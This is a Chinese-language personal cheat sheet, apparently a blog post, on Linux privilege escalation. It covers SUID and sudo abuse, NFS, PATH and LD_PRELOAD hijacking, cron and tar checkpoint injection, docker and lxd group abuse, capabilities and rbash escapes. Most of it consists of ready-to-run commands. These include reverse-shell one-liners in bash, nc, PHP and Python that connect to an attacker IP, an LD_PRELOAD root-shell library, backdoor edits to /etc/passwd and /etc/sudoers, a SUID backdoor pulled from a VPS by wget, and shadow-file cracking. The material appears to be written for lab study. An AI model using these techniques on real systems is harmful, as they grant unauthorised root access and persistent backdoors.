linux 提权总结

就当自己的笔记,主要是手动提权,exp提权估计会有原理解析......

目录

一.suid 提权

二.sudo 提权

 三.nfs配置不当提权

 四.利用path环境变量进行提权

 五.利用LD_PRELOAD环境变量进行提权

 六.利用CRON环境变量进行提权

 七.利用docker进行提权

八.利用lxd进行提权

九.利用capability进行提权        

 十.绕过rbash


一.suid 提权

SUID (Set UID)是Linux中的一种特殊权限

SUID权限只能设置二进制文件

命令执行者要有二进制文件的执行权

命令执行者执行二进制文件时会获得该程序的属主身份。

SUID权限只在程序执行过程中

如何查找?

find / -perm -u=s -type f 2>/dev/null

(1)通过find

find test -exec "whoami" \;

可用于反弹shell

bash -ip >& /dev/tcp/192.168.56.141/5555 0>&1
sh -ip >& /dev/tcp/192.168.56.141/5555 0>&1

有netcat:

nc 192.168.56.141 5555 -e /bin/bash

 有php:

php -r '$sock=fsockopen("192.168.56.141",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.56.141",5555);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

 需要注意的是,php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

 有python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.141",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 普通用户反弹

linux 提权总结_第1张图片

带suid的find命令反弹

find /bin/bash -exec bash -ip >& /dev/tcp/192.168.56.141/5555 0>&1 \;

 -ip表示以特权模式启动的一个交互式shell

linux 提权总结_第2张图片

 linux 提权总结_第3张图片

(2)cp

利用openssl生成密码

openssl passwd -1 -salt 114154 cmd114514

 将/etc/passwd文件复制到当前目录,添加用户,并且添加密码

linux 提权总结_第4张图片

 上面添加了aaa用户,但是用户id为0,表示root权限

之后复制修改后的passwd到原位置,su aaa一下,发现是root权限

linux 提权总结_第5张图片

非suid的cp则修改后无法复制到/etc目录下

(3)vim

如果获取普通用户权限,知道这个用户的密码并且无法sudo bash,可以直接修改/etc/sudoers文件

linux 提权总结_第6张图片

这样sudo bash/sudo su可直接获取一个root权限的shell

也可以尝试用John the Ripper爆破shadow文件

因为从 Debian 11 / bullseye 系统 (适用于Kali)开始, 默认的密码哈希函数使用 yescrypt 。
因此之前 John the Ripper 的命令将无法再运行

会爆出No password hashes loaded的错误

可以尝试添加     --format=crypt    的参数

比如

john --format=crypt file

查看已经爆破出的密码

john --show file

(4)编写脚本留下后门

linux 提权总结_第7张图片

 然后vps 利用python开启一个简单的http服务

python -m SimpleHTTPServer 7777 
或者
python -m http.server 2333

目标机

wget http://your_vps:7777/well

 然后 gcc一下

建议脚本编译在目标机器中,否则可能出现无法运行的情况

 简单来说就是获取root权限后,可以赋予二进制文件suid属性,并且chmod 777

linux 提权总结_第8张图片

再次获取权限为www-data用户

linux 提权总结_第9张图片

运行后门脚本变为root权限 

linux 提权总结_第10张图片

 参考

GTFOBins

二.sudo 提权

1.sudo是以root权限去运行一个命令,且不需要知道root用户的密码,只需要知道本用户的密码(su则是切换用户,su root需要知道root用户的密码)

当知道用户密码,但无法 sudo bash或者sudo su的时候,可以尝试用其他命令提权

sudo -l查看当前用户可以以sudo运行的命令或者二进制文件

2./etc/sudoers是关于sudo的配置文件,当用户运行sudo命令的时候系统就回去配置文件中查看是否可以运行相关命令

1.sodu vim

当visudo被禁用,可以尝试 sudo vim /etc/sudoers是否可以修改配置文件,从而达到可以sudo su,或者sudo bash的目标

2.git

当 sudo允许执行git命令的时候,可利用

sudo git help config
然后输入
!/bin/bash
sudo git -p help
!/bin/bash

3.find 提权

此时无法执行

执行

sudo find / -exec bash \;

此时find无suid权限,但是可以sudo提权

linux 提权总结_第11张图片

 4.perl

-e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash.

sudo perl -e 'exec bash'
sudo perl -e 'exec "/bin/bash";'

 5.python

pty(伪终端库)    pty.spawn生成一个进程

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

 6.less

less以root权限浏览文件内容时

sudo less test

其后输入

!bash

获取root shell

7.awk

sudo awk 'BEGIN {system("/bin/bash")}'

linux 提权总结_第12张图片

 8.man

sudo man man

依然是输入!bash

9.vim,vi

sudo vi/vim

 进入编辑界面后 !bash

10.如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去

例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可。
linux 提权总结_第13张图片

linux 提权总结_第14张图片

 11.env

sudo env /bin/bash

 12.ftp

sudo ftp
!bash

linux 提权总结_第15张图片

13.socat/netcat

先插入netcat的用法:

netcat -e选择指定程序,有些机器上出于安全考虑无-e选项

运行-e的机器上为靶机

比如正向shell:

靶机:

nc -lvvp 4444 -e /bin/bash

 攻击机

nc ip port

反向shell:

攻击机监听:

nc -lvvp 4444

靶机:

nc -e /bin/bash ip port

当无法-e(反弹shell)的时候:

在攻击机上监听两个端口,例如4444,5555

靶机上执行

nc 192.168.56.141 4444| /bin/bash |nc 192.168.56.141 5555

使得在攻击机4444端口输入的命令可以在5555端口上回显

linux 提权总结_第16张图片

 root权限执行在所有命令前加sudo 就好

14.cp/scp

scp是一个安全复制文件的命令

提权用法与suid相似

如果sudo设置了黑名单,比如不让用sudo find

由于cp无法直接生成一个shell,但是可以sudo cp将find命令复制到其他路径,再sudo find获得root  shell

如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。

linux 提权总结_第17张图片

 三.nfs配置不当提权

NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享。

攻击机查看:

发现有可以来自所有主机连接的/home目录挂载(且攻击机可以以root身份访问nfs)
1.

目的是攻击机以root身份访问挂载目录,传入bash,并且赋予suid(root)权限

首先将攻击机权限提升至root

挂载空目录

mount -t nfs 192.168.56.130:/home /tmp/test

 传入bash

cp /bin/bash /tmp/test/rneck

来到目录,赋予bash suid权限

chmod u+s bash

linux 提权总结_第18张图片

这里我kali传入的bash在ubuntu上无法运行,所以选择了在靶机上先往nfs目录种传入bash,攻击机kali chown,chmod一下就OK了

linux 提权总结_第19张图片

回到靶机,提权成功

linux 提权总结_第20张图片

重点是可以以root身份赋予二进制(命令)文件suid权限,这样机器上的目标用户就可以提权

发挥想象力.......除了搬bash利用方式还有很多......

 四.利用path环境变量进行提权

上演一手移花接木

假设拿到了某台机子的普通用户权限,但是有suid权限的命令不好直接利用,sudo又不知道密码,shadow利用John the Ripper也破解不出密码。那就可以全局搜索一下某些运维程序/文件是否有suid(root属主)权限,如果有的话,可以查看文件看看调用了哪些命令,然后就可以在环境变量里面做些手脚提权。

比如桌面上有一运维文件,属主root,有suid权限

 echo "/bin/bash" > ps

运行后是执行了ps命令

 

 此时在/tmp目录下创建ps文件,并且将 /bin/bash 写入

 echo "/bin/bash" > ps

 chmod 777 ps一下

 export PATH=/tmp:$PATH

在环境变量中导入/tmp这个路径,这样系统在寻找ps命令的时候就会优先在/tmp目录下寻找

echo $PATH

 

或者创建符号链接

ln -s /bin/bash ps

 或者直接cp

cp /bin/bash ps

 情况:这种情况适用于,给普通用户分配了个可执行程序,且该程序有suid权限,我们又知道该程序会调用哪些命令,那么就可以结合PATH来进行提权。

 五.利用LD_PRELOAD环境变量进行提权

LD_PRELOAD是Linux下的一个环境变量,程序运行时都会加载一些so文件,类似于windows下程序加载dll,而LD_PRELOAD可以指定程序运行前加载的动态连接库。
如果sudo -l发现可用的命令不好直接进行提权,可尝试此方法

下面以find为例(find 可以直接提权)

.c代码

linux 提权总结_第21张图片

#include 
#include 
#include 

void _init(){
        unsetenv("LD_PRELOAD");
        setuid(0);
        setgid(0);
        system("/bin/bash");
}

 编译

gcc test.c -fPIC -shared -o test.so -nostartfiles

 wget下载到目录

执行

sudo LD_PRELOAD=./test.so find

方法的好处是自建的so文件无需root属主或者是suid权限,只需要一个可以sudo执行的命令

苛刻的地方是sudoers之前有特殊配置,比如需要env_keep 

否则就会出现报错

 六.利用CRON环境变量进行提权

 cronjobs是定时任务,在特定的日期和时间执行计划任务。例如定期备份或者定期清理某个目录等都会用到,定义格式如下:
linux 提权总结_第22张图片

1.可以修改定时任务文件

首先查看目标/etc/crontab,看看有无可利用的文件

若有,转到相应的文件并且修改,如一个py文件并且属主为root,若能修改文件,可添加如下代码

linux 提权总结_第23张图片

import os
import sys
try:
        os.system("chmod u+s /bin/bash")
except:
        sys.exit()
                

 每隔一分钟将 /bin/bash 赋予suid权限

之后

/bin/bash -p

提权

 此方法苛刻的地方在于某些定时任务设置的文件普通用户能够修改

2.无法修改定时任务文件

crontab看到文件

linux 提权总结_第24张图片

vim一下

linux 提权总结_第25张图片

 看到是tar命令,便可以利用

   在tar命令中有一个checkpoint参数,即检查点,比如checkpoint=1,则代表压缩过程中每压缩一个文件就去执行一个检查操作。
   而这个检查操作的参数是-checkpoint-action=exec=,后面可以跟要执行的命令。
   利用思路就是我们写入一个可以提提权的sh脚本,这个思路就多了....然后利用checkpoint-action=exec=接一个执行sh脚本的命令即可。

这里创建shell.sh

写入

echo "test ALL=(root) NOPASSWD:ALL" >> /etc/sudoers

 输入

echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=bash shell.sh"

 这样上面两个文件名就会被tar当作参数执行

一小会后:

 linux 提权总结_第26张图片

 七.利用docker进行提权

 区别于docker逃逸,相当于是利用docker进行提权

在docker中,是允许访问root用户和docker组中的其它用户的

 查看是否在docker组下

cat /etc/group | grep olw

 linux 提权总结_第27张图片

登入docker组

newgrp docker

挂载/root目录到docker,或者/etc等

docker run -v /etc:/mnt -it alpine

之后就为所欲为了

linux 提权总结_第28张图片

八.利用lxd进行提权

lxc list

 查看容器部署情况

 查看属组

cat /etc/group | grep test

linux 提权总结_第29张图片

 攻击机

下载alpine

git clone https://github.com/saghul/lxd-alpine-builder.git

 构建

cd lxd-alpine-builder 
./build-alpine

 开启一个简单的http服务

python -m http.server 2333

 目标机器下载

wget http://192.168.56.141:2333/alpine-v3.13-x86_64-20210218_0139.tar.gz
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz
或者重命名
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz  --alias myimage

 列出已经存在的image

lxc image list

 lxc init来初始化image(可以填别名,也可以填指纹),也就是alpine系统,并创建test账户,通过c参数来配置安全提升策略为true,代表用户test可申请高级权限 

lxc init cd73881adaac test -c security.privileged=true

lxc config device命令用来配置设备,add把mydevice设备添加到了test账户中,disk是磁盘挂载,把本机/目录挂载到容器的/mnt/root下,recursive即是否递归,代表是否将所有子目录及所有文件进行挂载,命令如下:

lxc config device add test mydevice disk source=/ path=/mnt/root recursive=true

以test用户启动

lxc start test

 lxc exec选择以test 执行sh

lxc exec test /bin/sh

 尝试读一下shadow

linux 提权总结_第30张图片

1.目标机安装了bd容器,且需要利用的普通用户在xd组。

2.下载alpine(轻量级的linux系统,大小在5m左右),传到目标机。

3.把alpine导入到容器中。

4.然后就是初始化alpine、添加当前的普通账户、配置挂载等操作。

5.配置好后启动即可。

九.利用capability进行提权        

     capability翻译为能力的意思,linux中能力的概念和suid类似,是用来让普通用户也可以做超级用户的工作,从而设置的一个机制,原来linux分的是普通用户和超级用户,后来加了能力,即赋予某某账号能力,这个账号有能力了,就可以去做事了。
     capability可分割root权限,把root特权分割成不同的能力,然后给与普通用户不同的能力,每一种能力都代表着一种特权。可以以用 man capabilities 查看能力

CAP_AUDIT_CONTROL    启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
CAP_AUDIT_READ    允许通过 multicast netlink 套接字读取审计日志
CAP_AUDIT_WRITE    将记录写入内核审计日志
CAP_BLOCK_SUSPEND    使用可以阻止系统挂起的特性
CAP_CHOWN    修改文件所有者的权限
CAP_DAC_OVERRIDE    忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH    忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER    忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID    允许设置文件的 setuid 位
CAP_IPC_LOCK    允许锁定共享内存片段
CAP_IPC_OWNER    忽略 IPC 所有权检查
CAP_KILL    允许对不属于自己的进程发送信号
CAP_LEASE    允许修改文件锁的 FL_LEASE 标志
CAP_LINUX_IMMUTABLE    允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAP_MAC_ADMIN    允许 MAC 配置或状态更改
CAP_MAC_OVERRIDE    覆盖 MAC(Mandatory Access Control)
CAP_MKNOD    允许使用 mknod() 系统调用
CAP_NET_ADMIN    允许执行网络管理任务
CAP_NET_BIND_SERVICE    允许绑定到小于 1024 的端口
CAP_NET_BROADCAST    允许网络广播和多播访问
CAP_NET_RAW    允许使用原始套接字
CAP_SETGID    允许改变进程的 GID
CAP_SETFCAP    允许为文件设置任意的 capabilities
CAP_SETPCAP    参考 capabilities man page
CAP_SETUID    允许改变进程的 UID
CAP_SYS_ADMIN    允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAP_SYS_BOOT    允许重新启动系统
CAP_SYS_CHROOT    允许使用 chroot() 系统调用
CAP_SYS_MODULE    允许插入和删除内核模块
CAP_SYS_NICE    允许提升优先级及设置其他进程的优先级
CAP_SYS_PACCT    允许执行进程的 BSD 式审计
CAP_SYS_PTRACE    允许跟踪任何进程
CAP_SYS_RAWIO    允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAP_SYS_RESOURCE    忽略资源限制
CAP_SYS_TIME    允许改变系统时钟
CAP_SYS_TTY_CONFIG    允许配置 TTY 设备
CAP_SYSLOG    允许使用 syslog() 系统调用
CAP_WAKE_ALARM    允许触发一些能唤醒系统的东西(比如 CLOCK_BOOTTIME_ALARM 计时器)

设置程序能力的时,有三个选项:

inheritable,简称i,表示是否可继承。
permitted,简称p,表示是否允许使用。
effective,简称e,表示特权是否有效。

我们利用的就是管理员能力滥用导致的提权

getcap -r / 2>/dev/null

根目录查看cap能力情况

 运行当前目录(用户test目录)下的python提权

./python -c 'import os;os.setuid(0);os.system("/bin/bash")'

 如果是perl的cap_setuid

./perl -e 'use POSIX(setuid);POSIX::setuid(0);exec "/bin/bash";'

 十.绕过rbash

  rbash是Restricted bash缩写,即受限制的bash。管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。在rbash中,很多行为和命令都会被受到限制。

查看当前shell

echo $SHELL

 1.编辑命令

输入vi

set shell=/bin/bash

shell

或者

!bash


ed: 

awk 'BEGIN{system("/bin/bash")}'

more/less:

!bash

man:

man man

 2.默认shell

先输入bash/sh/dash, 这些shell默认可运行

 3.语言

python -c 'import os;os.system("/bin/bash")'
perl -e 'system("/bin/bash");'

 4.awk

awk 'BEGIN{system("/bin/bash")}'

你可能感兴趣的:(linux,安全,服务器)